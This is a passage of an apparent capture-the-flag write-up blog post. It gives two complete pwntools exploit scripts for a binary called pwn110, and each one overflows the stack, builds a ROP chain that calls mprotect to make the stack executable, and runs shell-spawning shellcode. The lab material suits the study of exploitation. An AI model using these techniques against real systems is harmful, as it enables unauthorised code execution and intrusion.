# using mprotect() syscall to make the stack executable and inject a shellcode
# in the stack.
#
# This exploit does two iterations: the first one leaks the address of
# __libc_stack_end, the second calls mprotect() syscall with right parameters.


from pwn import *

context.update(arch="amd64", os="linux")

elf = ELF("./pwn110.pwn110")
process = process("./pwn110.pwn110")
# process = remote("xxx", 9009)


# Smash the stack
payload = b'A' * 40

# First iteration, leak the address of libc_stack_end
payload += p64(next(elf.search(asm('pop rdi; ret;'))))
payload += p64(elf.symbols.__libc_stack_end)
payload += p64(elf.symbols.puts)
payload += p64(elf.symbols.main)

process.recvline_containsS("pwn me without libc", timeout=3)
print("Injecting malicious input (1/2)")
process.sendline(payload)
# Receive the leaked address of libc_stack_end
text = process.recvline()
libc_stack_end_address = u64(text.strip().ljust(8, b'\0'))

log.info(f'libc_stack_end address:  {hex(libc_stack_end_address)}')
mprotect_memory = libc_stack_end_address & 0xfffffffffffff000
log.info(f'mprotect_memory address: {hex(mprotect_memory)}')

# Load the stack protection bitmap
payload += p64(next(elf.search(asm('pop rdx; ret;'))))
payload += p64(0x7)  # PROT_READ|PROT_EXEC|PROT_WRITE
# Load the page size
payload += p64(next(elf.search(asm('pop rsi; ret;'))))
payload += p64(0x1000)  # Page size, i.e., 4096 bytes
# Load the stack address
payload += p64(next(elf.search(asm('pop rdi; ret;'))))
payload += p64(mprotect_memory)
# Call __mprotect to make the stack region the process uses
# executable.
# __mprotect uses the following parameters:
#  Address in rdi
#  Size    in rsi
#  Prot    in rdx
payload += p64(elf.symbols.__mprotect)
# "Jump" (return) to the stack, where a shellcode is waiting for us
payload += p64(next(elf.search(asm('push rsp; ret;'))))
# Shellcode. It can be executed now
payload += asm(shellcraft.sh())

process.recvline_containsS("pwn me without libc", timeout=3)
print("Injecting malicious input (2/2)")
process.sendline(payload)
process.clean()

process.interactive()

Exploit 2

We can achieve the same result only using ROP gadgets and a single buffer overflow iteration:

#!/usr/bin/env python3
#
# Exploit: Buffer overflow ROP on non-PIE statically-linked binary,
# using mprotect() syscall to make the stack executable and inject a shellcode
# in the stack.
#
# This exploit does just one iteration, only using ROP gadgets to load the
# right parameters for mprotect(), make the stack excutable and jump to the
# shell code in the stack.


from pwn import *

context.update(arch="amd64", os="linux")

elf = ELF("./pwn110.pwn110")
process = process("./pwn110.pwn110")
# process = remote("xxx", 9010)

# Smash the stack
payload = b'A' * 40

# The following is quite convoluted.
# We need to pass the page aligned address of the stack region the program is
# using to __mprotect, alomg with the size and stack protection bitmap
# Since I could only find this ROP gadget:
#      and rdi, rsi; and rax, rsi; cmp rdi, rax; jne 0x78278; pop rbx; ret;
# I had to search for other gadget to load appropriate values in the
# appropriate registers.
payload += p64(next(elf.search(asm('pop rsi; ret;'))))
payload += p64(0xfffffffffffff000)
payload += p64(next(elf.search(asm('pop rax; ret;'))))
payload += p64(elf.symbols.__libc_stack_end - 0x08)
payload += p64(next(elf.search(asm('mov rax, qword ptr [rax + 8]; ret;'))))
payload += p64(next(elf.search(asm('pop r13; ret;'))))
payload += p64(elf.symbols.__libc_stack_end)
payload += p64(next(elf.search(asm('pop rbx; ret;'))))
#  and rdi, rsi; and rax, rsi; cmp rdi, rax; jne 0x78278; pop rbx; ret;
payload += p64(0x478266)
payload += p64(next(elf.search(asm('mov rdi, qword ptr [r13]; call rbx;'))))

# Load the stack protection bitmap
payload += p64(next(elf.search(asm('pop rdx; ret;'))))
payload += p64(0x7)  # PROT_READ|PROT_EXEC|PROT_WRITE
# Load the page size
payload += p64(next(elf.search(asm('pop rsi; ret;'))))
payload += p64(0x1000)  # Page size

# Call __mprotect
# __mprotect uses the following parameters:
#  Address in rdi
#  Size    in rsi
#  Prot    in rdx
payload += p64(elf.symbols.__mprotect)

# "Jump" (return) to the stack, where a shellcode is waiting for us
payload += p64(next(elf.search(asm('push rsp; ret;'))))
payload += asm(shellcraft.sh())

process.sendline(payload)

process.interactive()

That's all

Thanks for reading

Image copy.png

0
Subscribe to my newsletter

Read articles from Davide Guerri directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Davide Guerri
Davide Guerri